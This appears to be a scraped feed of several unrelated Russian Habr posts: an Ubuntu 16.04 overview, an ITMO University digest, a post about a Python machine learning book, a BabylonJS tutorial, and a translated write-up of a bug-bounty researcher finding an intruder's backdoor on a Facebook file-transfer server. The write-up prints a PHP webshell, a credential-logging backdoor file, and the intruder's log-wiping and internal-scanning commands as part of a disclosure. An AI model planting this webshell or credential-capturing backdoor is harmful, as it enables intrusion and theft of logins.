            Vscale. — это сервис, ориентированный прежде всего на разработчиков. Их добавление новой версии Ubuntu несомненно порадует: в ней по умолчанию поддерживаются новейшие версии популярных языков программирования и инструментов разработки.

            PHP 7

            В Ubuntu 16.04 по умолчанию доступна для установки и «свежая» версия PHP — v7.0. По сравнению с предыдущими версиями в ней значительно улучшена производительность, а также добавлены новые возможности — например, декларация скалярных типов для функций и возвращаемых величин. Вместе с тем были удалены старые SAPI и расширения.

            Если вы ранее работали с приложениями на PHP 5.x и планируете мигрировать на PHP7, то вам, скорее всего, придётся устанавливать обновления и даже вносить изменения в код приложений. Официальное руководство по миграции опубликовано здесь.

            Python 3.5

            В новой версии Ubuntu по умолчанию используется Python 3.5.1. В случае необходимости (например, для поддержки старого кода) Python2 всегда можно установить с помощью стандартного менеджера пакетов:

            $ sudo apt-get install python
            
            

            Если вы используете в работе Vim, обратите внимание: он был обновлен для Python3, старые плагины, «заточенные» под Python2, в новых сборках могут «поломаться».

            Go 1.6

            Новая версия языка Go вышла в свет в феврале — а сейчас она уже включена в репозитории Ubuntu 16.04.

            Файловая система ZFS

            В ядре версии 4.4 присутствует нативный модуль для поддержки файловой системы ZFS, которая была создана в начале 2000-х годов компанией Sun Microsystems для OC Solaris. Затем портирована в другие операционные системы (в частности, в MacOS и FreeBSD). Портирование ZFS в Linux было долгое время затруднено из-за лицензионных проблем: она распространяется по лицензции CDDL, несовместимой с GNU GPL. Уже поэтому сам факт добавления ZFS в mainstream-ядро можно считать большим событием.

            В числе преимуществ ZFS нужно в первую очередь выделить следующие:

            • возможность хранения больших объёмов информации;
            • продвинутые алгоритмы хэширования, повышающие возможности хранения;
            • поддержка снапшотов;
            • поддержка пулов хранения (storage pools);
            • еndian-независимость, позволяющая использовать как big endian-, так и little-endian устройства;

            ZFS отличается и высокой производительностью (см. подробные сравнительные обзоры здесь и здесь).

            Заключение

            В этой статье мы мы кратко рассмотрели основные нововведения, реализованные в новой LTS-версии Ubuntu. Пользователи Vscale. уже могут познакомиться с Ubuntu 16.04 на практике: процедура создания нового сервера предельно проста.

            А если вы хотите попробовать новую Ubuntu, но ещё не являетесь пользователем Vscale — самое время зарегистрироваться. При регистрации не забудьте указать промокод SCALET200, и вы получите 200 рублей на счёт.

            Будем рады, если поделитесь впечатлениями от работы c Ubuntu 16.04 в комментариях. И ещё мы очень ждём ваших конструктивных замечаний, пожеланий и предложений по дальнейшему улучшению Vscale.

            Комментарии (0)

              Let's block ads! (Why?)

              Побег из Крипто Про. Режиссерская версия СМЭВ-edition

              [Из песочницы] Еще раз о deb пакетах

              Дайджест Университета ИТМО: #1 Oбразование и наука

              Сегодня мы решили собрать в одном дайджесте полезные ссылки по темам, связанным с научной и образовательной деятельностью Университета ИТМО. В подборку вошли научные журналы, интересные статьи о научных достижениях и открытые учебные курсы.

              Научная периодика


              «Известия высших учебных заведений. Приборостроение»
              Журнал занимает 4 место среди 35 российских журналов по тематике «Приборостроение» (учрежден еще в 1958 году). Выпускается ежемесячно. В открытый доступ выложены номера журнала, вышедшие вплоть до сентября 2015 года (том 58, темы: управление динамическими системами, прикладные задачи управления, информатика в технических системах).
              «Научно-технический вестник информационных технологий, механики и оптики»
              Одно из старейших научно-периодических изданий страны, выходящих на базе технического вуза, – выпускается (с перерывами) с 1936 года. Выходит 6 раз в год. В открытом доступе номера журнала вплоть до января-февраля 2015 года (том 15 №1, темы: фотоника и оптоинформатика, оптические системы и технологии, автоматическое управление и робототехника, новые материалы и нанотехнологии, компьютерные системы и информационные технологии, технические системы и технологии, математическое и компьютерное моделирование, ИТ в образовании)
              «Наносистемы: физика, химия, математика»
              Журнал посвящен фундаментальным проблемам физики, химии и математики, имеющим отношение к наносистемам (теоретические и экспериментальные задачи физики и химии наносистем, ключевые свойства наносистем, новые методы математического моделирования и математической физики). Журнал выходит на английском языке, в открытом доступе находятся все выпуски журнала, включая последний (том 7 №2 за апрель 2016).
              Научно-технический «Оптический журнал»
              Один из наиболее уважаемых журналов по вопросам оптического приборостроения и материаловедения, лазерной физики, физической оптики и др. (учредители журнала – Университет ИТМО, Государственный Оптический Институт им. С.И. Вавилова и Оптическое общество им. Д.С. Рождественского). Издается с 1931 года и выходит ежемесячно (с 1966 года издается Оптическим обществом Америки на английском). Выпуски журнала с 2008 по 2014 год находятся в открытом доступе.
              Открытая база научных работ Университета ИТМО
              Научные работы Университета ИТМО, размещенные в открытом доступе на едином портале с удобными инструментами поиска. Почти 9,5 тысяч статей, больше 1700 учебных изданий и 455 выпусков журналов, которые может использовать любой желающий (в том числе учебные пособия по оптоинформатике, фотонике, нанотехнологиям и др.).
              Приложение «Научные журналы ИТМО» в Google Play и приложение «Журналы Университета ИТМО» в AppStore
              Приложения позволяют просматривать каталоги научных журналов Университета ИТМО и загружать интересующие статьи в формате pdf пользователям смартфонов.

              Открытые курсы Университета ИТМО


              Все курсы Университета ИТМО – как на платформе Открытое образование, так и на платформе ITMOcourses – бесплатны для слушателей и предполагают по результатам присвоение сертификатов (каждый курс оценен соответствующим количеством зачетных единиц, которые слушатель при желании (и возможности со стороны вуза) может предъявить для перезачета результатов обучения).

              Курсы на платформе Открытое образование (курсы, стартующие в будущем):

              Алгоритмы программирования и структуры данных

              Курс помогает получить базовые знания об алгоритмах и структурах данных, необходимых для различных задач программирования, и призван повысить продуктивность слушателей при разработке ПО.
              Элементы систем автоматического управления
              Курс посвящен изучению работы электромеханических систем автоматического управления (к ним можно отнести электромобили, станки, эскалаторы, бытовые электроприборы и многое другое) и тому, какие математические модели лежат в основе их разработки. Слушатели курса учатся анализировать и создавать собственные системы подобного рода в пакете мат. моделирования Scilab.

              Курсы на платформе ITMOcourses

              Недавно стартовавшие (возможна запись на курс):

              Электрические машины
              Принципы построения, конструкций, технических и эксплуатационных характеристик трансформаторов, а также генераторов и двигателей постоянного и переменного тока. Курс является основным разделом электротехники, наряду с теорией линейных электрических цепей и электрическим приводом.
              Элементы систем автоматического управления
              Курс, аналогичный соответствующему курсу на платформе Открытое образование (но на него можно записаться уже сейчас).

              Курсы, стартующие в будущем:

              Направление Информационные технологии: в рамках данного направления стартуют 3 курса:

              Алгоритмы программирования и структуры данных
              Этот курс соответствует аналогичному курсу на платформе Открытое образование
              Инфокоммуникационные протоколы
              В рамках курса изучаются принципы и технологии построения, конфигурирования компонентов инфокоммуникационных сетей и протоколы их взаимодействия. Большое внимание уделяется практическим навыкам по работе и настройке инфокоммуникационного оборудования.
              Функциональное программирование: базовый курс
              В этом курсе изучаются основы функционального подхода к программированию и практические вопросы программирования на языке LISP.

              В направлении Приборостроение и робототехника также готовятся 3 курса:

              Линейные системы автоматического управления
              Курс предполагает изучение областей, в которых применяются системы автоматического управления; структур типовой системы автоматического управления; принципов построения замкнутых систем управления (в том числе с использованием пакета Scilab).
              Методы обработки навигационной информации
              Курс позволяет слушателям научиться выделять полезную информацию из показаний датчиков и систем, несмотря на помехи и ошибки измерения. В ходе занятий слушатели учатся решать задачи построения эффективных алгоритмов обработки избыточной измерительной информации, проводить их математическое моделирование анализ их потенциальной точности.
              Модели и методы аналитической механики
              Курс посвящен вопросам, связанным с изучением кинематических, статических и динамических характеристик робототехнических и приборных систем, а также законов и уравнений аналитической механики, применяемых при составлении математической модели движения и равновесия технических объектов.

              В направлении Оптические системы и технологии готовятся 2 курса:

              Лазерные технологии
              Курс посвящен фундаментальным основам и современным форматам использования лазерных технологий во всех областях человеческой деятельности: от промышленности до медицины и от искусства до военного дела.
              Физическая оптика
              Курс посвящен теоретическому анализу и экспериментальным демонстрациям основных явлений, связанных с излучением света и его распространением в вакууме и в материальных средах, а также обзору технических приложений основных идей классической оптики. Этот курс может использоваться для подготовки к дальнейшему изучению концепций квантовой механики, квантовой электродинамики и микро- и нанофизики.

              В направлении Биотехнологии стартует курс:

              Реология
              Этот курс посвящен теоретическим и экспериментальным аспектам реологии и физико-механических свойств пищевых материалов. Слушатели изучают основы инженерной реологии и то, как она применяется в расчётах оборудования для производства пищевых продуктов.

              P.S. Наши другие публикации на Хабре:

              Комментарии (0)

                Let's block ads! (Why?)

                Этажи: 3D-навигация на WebGL в 2gis.ru

                Рендеринг UTF-8 текста с помощью SDF шрифта

                [recovery mode] РНКО России перестали работать с индивидуальными предпринимателями и физлицами

                Вышел релиз Ubuntu 16.04 LTS Snap OpenStack и другие нововведения. Возможны проблемы с видеокартами AMD

                четверг, 21 апреля 2016 г.

                [Перевод] Как я писал книгу 'Python Machine Learning'

                Здравствуйте, уважаемые хабровчане!

                В настоящее время мы всерьез намерены в обозримом будущем порадовать вас серьезной книгой по машинному или глубинному обучению. Среди книг, вызвавших у нас наибольший интерес, особого упоминания заслуживает работа Себастьяна Рашки "Python Machine Learning"

                Предлагаем почитать, что сам автор рассказывает об этой книге. Мы позволили себе сократить статью практически вдвое, так как вся ее вторая часть посвящена тонкостям писательского труда и оформления книги, а тематические тонкости и актуальность темы рассмотрены в самом начале. Надеемся, что вам понравится текст, а нам — результаты опроса.

                Прошло немало времени, и вот я с удовольствием сообщаю: книга «Python Machine Learning» наконец-то на полках! Разумеется, я мог просто разослать имейлы всем, кто интересовался судьбой этой книги. Другой вариант — просто набрать в Твиттере 140 символов (вернее, 140 минус гиперссылка) и забыть об этом. Но, так или иначе, работа над книгой «Python Machine Learning» продлилась не один месяц, и я бы с радостью посидел в любимой кофейне и вкратце рассказал, как она создавалась.

                ISBN-10: 1783555130
                ISBN-13: 978-1783555130
                Paperback: 454 pages, ebook
                Packt Publishing Ltd. (September 24th, 2015)

                Меня давно спрашивают об этой книге: о чем она, и как я нашел время (1) написать ее (2) прочитать все интересные статьи, о которых сообщал в Твиттере (3) исследовать нужный материал (4) попутно расслабляться и радоваться жизни. Теоретически, могу ответить на первый вопрос так: думаю, все технические книги пишутся в свободное время. Я решил, что на несколько месяцев могу отвлечься от привычных хобби — программирования и ведения блога — тогда у меня высвободится время для книги.

                Пишите только о том, в чем разбираетесь. Тогда у вас появится масса свободного времени.
                — Говард Немеров

                “Машинное обучение на Python?” – О чем вообще речь?

                Все началось с благих намерений: я захотел составить сборник полезных советов для начинающих специалистов по машинному обучению. Да, книгу «Машинное обучение на Python» фолиантом не назовешь, однако проблема заключалась не в недостатке материала. Скорее наоборот: если вы увлечены темой, то можете писать и писать. Ограничить объем книги — вот что было непросто!

                Итак, «что же такого интересного в машинном обучении и Python, что ты решил написать об этом книгу, посвятив ей почти все свободное время?» Если вы читали мои посты в соцсетях, но такой вопрос у вас по-прежнему донимает, то мне остается лишь процитировать другого человека:

                Сейчас данные льются на нас сплошным потоком. По одной из последних оценок ежедневно генерируется 2,5 квинтиллиона (1018) байт данных. Объемы неимоверные: более 90% информации, которую мы сейчас храним, было сгенерировано в течение прошлого десятилетия. К сожалению, большая часть этой информации такова, что человек не может ею воспользоваться. Либо эти данные не поддаются стандартной аналитической обработке, либо данные слишком обширны, чтобы мы могли их хотя бы осмыслить.
                Благодаря машинному обучению, компьютеры могут обрабатывать такие данные, учиться на них и извлекать опорную информацию (actionable data) из-за практически непроницаемых стен «больших данных». В основе работы разнообразных устройств от суперкомпьютеров, обеспечивающих поиск в Google, до смартфонов, помещающихся в кармане, лежат принципы машинного обучения, при помощи которого мы познаем большую часть окружающего мира, зачастую даже не подозревая об этом.
                Что же такое «машинное обучение», как оно работает? Как машинное обучение поможет мне заглянуть в неведомое, прокачать мой бизнес или просто узнать, что Интернет-сообщество думает о моем любимом фильме? Все это вы узнаете из книги, вышедшей из-под пера моего хорошего друга и коллеги Себастьяна Рашки
                — Др. Рэндал Олсон (из Предисловия)

                Допустим, «машинное обучение» сегодня довольно горячая тема, но «почему Python»? Вкратце: потому что он интуитивно понятный, довольно продуктивный и применимый на самых разных уровнях. Говоря «продуктивный», я сразу отвлекаюсь от темы, поэтому — не судите строго — отсылаю вас к моему предыдущему посту Python, Machine Learning, and Language Wars. A Highly Subjective Point of View, в котором рассматривал этот вопрос.

                Технологии — мелочь. Главное верить в людей, считать, что, в принципе, люди хорошие и умные и понимать, что если дать им нужные инструменты, то эти люди станут просто творить чудеса.
                — Стив Джобс

                К чему мы придем с этой книгой?

                “А эта книга выделяется на фоне других работ по Python и машинному обучению?”— ведь их уже довольно много. Думаю, да! Когда издатель впервые обратился ко мне с предложением написать такую книгу, я вежливо отказался, так как на эту тему уже было несколько книг. Так вот, отказавшись, я решил некоторые из них почитать. Не скажу, что они лучше или хуже моей, просто я иначе представлял себе книгу по машинному обучению с прикладными примерами на Python.

                […] Что касается компьютерных программ по машинному обучению как таковых, они напоминают проработку научного метода, однако всю работу выполняет не ученый, а компьютер, который, разумеется, гораздо мощнее любого ученого, поэтому работает гораздо быстрее и управляется со значительно более крупными объемами данных
                — Педро Домингос (выдержка из интервью с Домингосом, посвященного его новой книге: A Master Algorithm in Machine Learning Could Change Everything)

                Есть отличные книги, в которых рассматривается теория машинного обучения. В частности, мне очень нравятся Pattern Recognition and Machine Learning Бишопа и Pattern Classification Дуды, Харта и Сторка. Они классные, правда классные. Думаю, писать что-нибудь в их духе уже не требуется. Однако, пусть эти книги и позиционируются «для начинающих», новичку с ними придется непросто. Хотя я и рекомендую эти книги всем, кто всерьез намеревается заниматься машинным обучением, эта литература скорее представляется мне «дополнительным чтением», нежели первой книгой по машинному обучению. В общем, я считаю, что наряду с изучением теории нужно самому возиться с алгоритмами машинного обучения и реализовывать их — именно так вы сможете с максимальной пользой потратить время на освоение этой дисциплины.

                Есть и очень практичные книги, которые читаются скорее как документация (* здесь вставьте scikit-learn, Vowpal Wabbit, caret или любую другую библиотеку/API для машинного обучения). Полагаю, это тоже хорошие книги, но я бы оставил подробное обсуждение библиотек н уровне (онлайновой) документации – таким ресурсом удобно пользоваться в качестве интерактивного справочника и, кроме того, ее легко своевременно обновлять.

                Есть правила, по которым пишутся романы. К сожалению, никто их не знает.
                — У, Сомерсет Моэм

                Работая над книгой, я ставил перед собой три фундаментальные цели: (1) объяснить самые общие концепции (2) дополнить их необходимым математическим аппаратом и (3) привести примеры и объяснить, как их применять.

                Общий обзор помогает сложить воедино фрагменты этой мозаики, а математика — понять, что происходит на внутрисистемном уровне и уйти от наиболее распространенных проблем. Учиться однозначно удобнее, если материал сопровождается такими примерами. Наконец, действительно важно «покопаться в теме руками», то есть, написать код, в котором воплощается изученный материал. Да, мы хотим изучить концепции, но в конечном итоге собираемся решать при помощи этих концепций реальные прикладные проблемы.

                На страницах книги мы будем работать с разнообразными библиотеками, в частности, с scikit-learn и Theano – эффективными и хорошо протестированными инструментами, которые пригодятся нам при создании реальных приложений. Но некоторые алгоритмы мы реализуем с нуля. Так мы разберемся с этими алгоритмами, поймем, как работают библиотеки и напрактикуемся с созданием собственных алгоритмов – кстати, некоторые из них пока не входят в состав scikit-learn.

                Что вы найдете и чего не найдете в этой книге

                Эта книга не о “data science”. В ней ничего не говорится о формулировании гипотез, сборе данных и извлечении выводов по результатам анализа нетипичных или экзотических множеств данных; акцент сделан именно на машинном обучении. Однако, наряду с обсуждением различных алгоритмов такого рода, я считаю, что очень важно рассмотреть и другие аспекты типичного процесса машинного обучения, смоделировать сборочный конвейер, начиная с препроцессинга множеств данных. Мы обсудим такие темы, как работа с недостающими значениями, преобразование категорийных переменных в форматы, применимые при машинном обучении, выбор информативных свойств, сжатие данных с переносом в подпространства с меньшим количеством измерений. В книге есть целая глава об интерпретации моделей, где обсуждается перекрестная валидация с расщеплением выборки, k-блочная перекрестная валидация, вложенная перекрестная валидация, настройка гиперпараметров и другие показатели производительности. Для небольшого закрепления материала я добавил главу о встраивании моделей машинного обучения в веб-приложение, которым можно поделиться со всем миром.

                Это не очередная книга из разряда «смотрите, как работает scikit-learn». Я хочу объяснить, как устроено машинное обучение, рассказать вам все необходимое о проверенных методах и подводных камнях. Затем мы научимся применять эти концепции на практике с использованием NumPy, scikit-learn, Theano и т.д. Разумеется, в этой книге будет изрядное количество «математики и уравнений», на мой взгляд, иначе просто нельзя, если мы не хотим превращать книгу в «черный ящик». Но, надеюсь, следить за нитью повествования будет действительно не сложно, и книга подойдет даже тем читателям, которые не имеют основательной математической подготовки. Во многих разделах этой книги вы найдете примеры со scikit-learn – на мой взгляд, это самая красивая и практичная библиотека для машинного обучения.

                Вот краткое оглавление:

                • 01 – Машинное обучение – как заставить компьютеры учиться на основе данных
                • 02 – Тренировка алгоритмов машинного обучения для выполнения классификации
                • 03 – Экскурсия по классификаторам машинного обучения на примере Scikit-Learn
                • 04 – Подготовка хороших тренировочных множеств – препроцессинг данных
                • 05 – Сжатие данных при помощи понижения размерности
                • 06 – Изучаем наилучшие методы интерпретации моделей и оптимизации гиперпараметров
                • 07 – Комбинирование различных моделей для множественного обучения
                • 08 – Машинное обучение при анализе тональности
                • 09 – Встраивание модели машинного обучения в веб-приложение
                • 10 — Прогнозирование непрерывных целевых переменных при помощи регрессионного анализа
                • 11 – Работа с немаркированными данными – Кластерный анализ
                • 12 – Тренировка искусственных нейронных сетей с целью распознавания образов
                • 13 – Распараллеливание тренировки нейронных сетей с применением Theano

                Экспресс-ссылки

                Репозиторий на GitHub с общей информацией и примерами кода
                Библиография и ссылки на дополнительные ресурсы
                Ссылки на электронную и бумажную версию в магазинах Amazon.com, Amazon.co.uk, Packt, Apple iBooks
                Очень интересные отклики, спасибо!

                Актуальность книги

                Проголосовало 70 человек. Воздержалось 17 человек.

                Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

                Комментарии (0)

                  Let's block ads! (Why?)

                  [Перевод] Как я взломал Facebook и обнаружил чужой бэкдор

                  Исследователь по безопасности Orange Tsai взломал один из серверов Facebook и обнаружил бэкдор для сбора учетных записей сотрудников компании, оставленный злоумышленником.

                  Как пишет исследователь в своем блоге, его всегда больше привлекали сервер-сайд атаки, нежели клиент-сайд (XSS и т.д).

                  В 2012 году Facebook запустил BugBounty программу, которая побудила исследователя принять участие в поиске уязвимостей на серверах этой популярной социальной сети.

                  В первую очередь проводится этап разведки и сбора информации, или т.н. recon по объекту атаки.

                  Исследователь поставил себе несколько целей:

                  • Что можно обнаружить с помощью запросов Google Hacking?;
                  • Сколько используется подсетей класса B и C?;
                  • Whois, reverse-ip и axfr запросы;
                  • Используемые доменные имена, поддомены;
                  • Программное и техническое оснащение оборудования (вендоры, версии ПО и т.д.);
                  • Возможные утечки исходных кодов на сервисах Github или Pastebin
                  • И т.д.

                  BugBounty программа обычно имеет четкие границы и ограничения, но тем не менее, исследователь решил поискать на сетевом периметре уязвимые сервисы, возможно и не входящие в скоуп BugBounty, но тем не менее напрямую влияющие на безопасность инфраструктуры самой популярной в мире социальной сети.

                  Используя технику reverse whois им был обнаружен интересный домен — tfbnw.net. По данному названию он предположил что имеет дело с TheFacebook Network.

                  На этом домене располагался поддомен vpn.tfbnw.net, на котором находился веб-интерфейс Juniper SSL VPN. К сожалению исследователя эта версия не содержала публичных уязвимостей. Тем не менее, исследовав эту подсеть C-класса он обнаружил несколько интересных сервисов:

                  • Mail Server Outlook Web App;
                  • F5 BIGIP SSL VPN;
                  • CISCO ASA SSL VPN;
                  • Oracle E-Business;
                  • MobileIron MDM;

                  Также, среди этих IP-адресов был обнаружен сервер files.fb.com. Судя по футеру веб-приложения использовался Accellion’s Secure File Transfer (также известный под аббревиатурой FTA):

                  FTA является продуктом, который обеспечивает безопасную передачу файлов, общий доступ к файлам и синхронизации, а также интеграцию с механизмами входа в систему, включая AD, LDAP и Kerberos. Версия Enterprise поддерживает службы SSL VPN.

                  Исследователь попытался найти актуальный публичный эксплоит для этой уязвимости и обнаружил упоминание об уязвимой версии 0.18 (Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857).

                  Версию можно определить запросом “/tws/getStatus”. На сайте была установлена последняя версия — 0.20, не содержащая вышеописанных уязвимостей.

                  Если не получилось найти уязвимости методом черного ящика — их можно попытаться найти белым. Исследователь скачал исходные коды FTA и приступил к поиску уязвимостей в этом продукте.

                  Исследовав приложение, было сделано несколько выводов:

                  • Веб-интерфейс представляет из себя комбинацию Perl и PHP;
                  • PHP был обфусцирован с помощью IonCube;
                  • Использовалось множество Perl-демонов.

                  В первую очередь исследователь попытался снять защиту IonCube, но используя публичные инструменты ему этого не удалось. Также, он предположил что Rapid7 обнаружили поверхностные уязвимости и копать надо гораздо глубже.

                  Результатом исследований FTA стало нахождение:

                  • 3 уязвимости класса XSS;
                  • Pre-Auth SQL-инъекция приводящая к удаленному выполнению кода (Remote Code Execution);
                  • Предиктивный secret-key, приводящий к удаленному выполнению кода (Remote Code Execution);
                  • 2 уязвимости, приводящие к локальному повышение привилегий (Local Privilege Escalation).

                  Помимо отправки сообщения об уязвмостях в Facebook Security Team, были отправлены соответствующие уведомления и вендору уязвимого ПО — компании Accellion. Уязвимостям присвоены следующие CVE:
                  • CVE-2016-2350
                  • CVE-2016-2351
                  • CVE-2016-2352
                  • CVE-2016-2353

                  (Больше деталей будет раскрыто после применения политики раскрытия/неразглашения уязвимостей).

                  Т.н. «залитие шелла» с помощью sql-injection:

                  После получения доступа к серверу исследователь выполнил вполне предсказуемые шаги по изучению серверного окружения для минимизации обнаружения. Им были обнаружены:

                  • Блокировка исходящих TCP и UDP соединений на порты 53, 80 и 443;
                  • Удаленный сервер Syslog;
                  • Включенный журнал auditd.

                  Несмотря на запрещающие правила фаервола для исходящих соединений исследователю удалось установить соединение с помощью ICMP-туннеля.

                  После того, как исследователю удалось установить приемлемый контроль над веб-сервером он обнаружил некоторые странные сообщения об ошибках в логах /var/opt/apache/php_error_log:

                  Исследовав сообщения об ошибках и перейдя в затронутые директории он обнаружил веб-шелл, оставленный предыдущим «посетителем».

                  Содержимое некоторых «интересных» файлов:
                  sshpass

                  Right, THAT sshpass
                  
                  

                  bN3d10Aw.php
                  <?php echo shell_exec($_GET['c']); ?>
                  
                  

                  uploader.php
                  <?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
                  
                  

                  d.php
                  <?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
                  
                  

                  sclient_user_class_standard.inc
                  <?php
                  include_once('sclient_user_class_standard.inc.orig');
                  $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
                  $retries = 0;
                  $max_retries = 100; 
                  
                  // blah blah blah...
                  
                  fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); 
                  
                  // blah blah blah...
                  
                  

                  В include_once последнего файла содержится вызов «штатного» файла sclient_user_class_standard.inc.orig для проверки пароля. Злоумышленник использовал модифицированный файл в качестве своеобразного прокси для сбора GET и POST запросов, значения COOKIES в plain-text.

                  Неизвестный злоумышленник формировал лог-файл, который без труда можно было получить со взломанного веб-сервера:

                  wget http://ift.tt/1YIk9XP
                  
                  

                  Пример перехваченной учетной записи:

                  C 1 по 7 февраля было перехвачено порядка 300 учетных записей пользователей "@fb.com" и "@facebook.com":

                  • Обычные пользователи — учетные записи хранятся в БД и шифруются «солёным» SHA256.
                  • Сотрудники Facebook (@fb.com) авторизуются по протоколу LDAP.

                  Данные, полученные злоумышленником могли привести к компрометации смежных сервисов (VPN, OWA и т.д.).

                  Исследователь отмечает, что действия злоумышленника были довольно небрежными, что говорит о его непрофессионализме.

                  Каждые несколько дней злоумышленник чистил логи:

                  192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...
                  
                  

                  Архивировал файлы:

                  cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
                  tar -czvf files.tar.gz files
                  
                  

                  Исследовал внутреннюю сеть:

                  dig a archibus.thefacebook.com
                  telnet archibus.facebook.com 80
                  curl http://ift.tt/1VIQ0cR
                  dig a records.fb.com
                  telnet records.fb.com 80
                  telnet records.fb.com 443
                  wget -O- -q http://192.168.41.16
                  dig a acme.facebook.com
                  ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
                  ...
                  
                  

                  Использовал ShellScript для сканирования внутренней сети, но забыл перенаправить STDERR:

                  Пытался соединиться с LDAP-сервером:

                  sh: -c: line 0: syntax error near unexpected token `('
                  sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
                  
                  

                  Пытался получить прямой доступ к OWA:

                  --20:38:09--  http://ift.tt/1WH7jug
                  Resolving mail.thefacebook.com... 192.168.52.37
                  Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
                  HTTP request sent, awaiting response... 302 Found
                  Location: http://ift.tt/1YIkb1M [following]
                  --20:38:10--  http://ift.tt/1YIkb1M
                  Reusing existing connection to mail.thefacebook.com:443.
                  HTTP request sent, awaiting response... 302 Moved Temporarily
                  Location: http://ift.tt/1WH7ki0 [following]
                  --20:38:10--  http://ift.tt/1WH7ki0
                  Reusing existing connection to mail.thefacebook.com:443.
                  HTTP request sent, awaiting response... 200 OK
                  Length: 8902 (8.7K) [text/html]
                  Saving to: `STDOUT'
                  
                       0K ........                                              100% 1.17G=0s
                  
                  20:38:10 (1.17 GB/s) - `-' saved [8902/8902]
                  
                  --20:38:33--  (try:15)  https://10.8.151.47/
                  Connecting to 10.8.151.47:443... --20:38:51--  http://ift.tt/1YIkdGW
                  Resolving svn.thefacebook.com... failed: Name or service not known.
                  --20:39:03--  http://ift.tt/1WH7mqd
                  Resolving sb-dev.thefacebook.com... failed: Name or service not known.
                  failed: Connection timed out.
                  Retrying.
                  
                  

                  Пытался украсть корневой ssl-сертификат:

                  sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
                  ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
                  mv: cannot stat `x': No such file or directory
                  sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
                  mv: cannot stat `x': No such file or directory
                  sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
                  mv: cannot stat `x': No such file or directory
                  sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
                  mv: cannot stat `x': No such file or directory
                  sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
                  mv: cannot stat `x': No such file or directory
                  sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
                  base64: invalid input
                  
                  

                  После проверки в браузере видно, что files.fb.com подписан сертификатом fb.com:

                  Исследователь сообщил о выявленной уязвимости и активности злоумышленника на сервере техническим специалистам компании Facebook. Анализ логов показал что было два вторжения в систему — в июле и сентябре. Был ли это один и тот же злоумышленник — неизвестно. Июльский инцидент произошел как раз в момент появления эксплоита к вышеуказанной CVE-2015-2857 от Rapid7 в составе Metasploit Framework.

                  Комментарии (0)

                    Let's block ads! (Why?)

                    [Перевод] Правильная обработка ошибок в JavaScript

                    [Перевод] Основы разработки 3D-игр в Intel XDK на BabylonJS

                    И снова привет, Хабр! Сегодня поговорим о разработке 3D-игр на HTML5 в Intel XDK с использованием BabylonJS. Возможности Intel XDK позволят как создать игру, так и протестировать её во встроенном эмуляторе и на различных мобильных платформах, таких, как iOS, Android и Windows.


                    BabylonJS


                    BabylonJS – это 3D-фреймворк, основанный на JavaScript, предназначенный для разработки игр с использованием HTML5 и WebGL.

                    В приведённом здесь примере рассматривается то, с чего обычно начинается знакомство с любой средой разработки трёхмерных игр. Мы создадим куб и заставим его вращаться. Разобравшись с этим материалом, вы узнаете о создании и анимации объёмных игровых объектов с использованием таких средств, как Mesh (сетка), Texture (текстура), Lighting (освещение), Camera (камера) и Animation (анимация). Всё это – понятия, универсальные для различных сред разработки 3D-игр. Они нашли отражение и в BabylonJS.

                    О структуре проекта


                    Обратите внимание на то, что для правильной работы этого примера нужно, чтобы в проекте присутствовали следующие файлы:
                    1. babylon.2.3.js – это главный файл фреймворка, его надо загрузить отсюда и поместить в папку lib, которая находится в папке www проекта
                    2. babylonjs.png – это может быть любое изображение, которое послужит текстурой для трёхмерного куба. Оно должно находиться в папке asset, которая так же расположена в папке www.

                    Проект создан с использованием шаблона Standard HTML5.

                    Структура проекта

                    Подключение библиотеки


                    BabylonJS можно загрузить с GitHub. Мы пользуемся Babylon.2.3.js. Этот файл нужно скачать и подключить к файлу Index.html, в котором имеется элемент HTML5 Canvas – цифровой холст, который предназначен для создания растровых изображений средствами JavaScript. Выглядеть это будет так:
                    <!DOCTYPE html>
                    <html>
                    <head>
                        <title>BabylonJS</title>
                        <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=no">
                        <script src="lib/babylon.2.3.js"></script>
                        <style>
                            html, body {
                                overflow: hidden;
                                width   : 100%;
                                height  : 100%;
                                margin  : 0;
                                padding : 0;
                            }
                    
                            #gameCanvas {
                                width   : 100%;
                                height  : 100%;
                                touch-action: none;
                            }
                        </style>
                    </head>
                    <body>
                        <canvas id="gameCanvas"></canvas>
                    </body>
                    </html>
                    

                    В BabylonJS имеется объект engine, который позволяет создать игровую сцену (scene), добавить в игру 3D-объекты, камеру, освещение, текстуры и делать многое другое.

                    Объект Engine


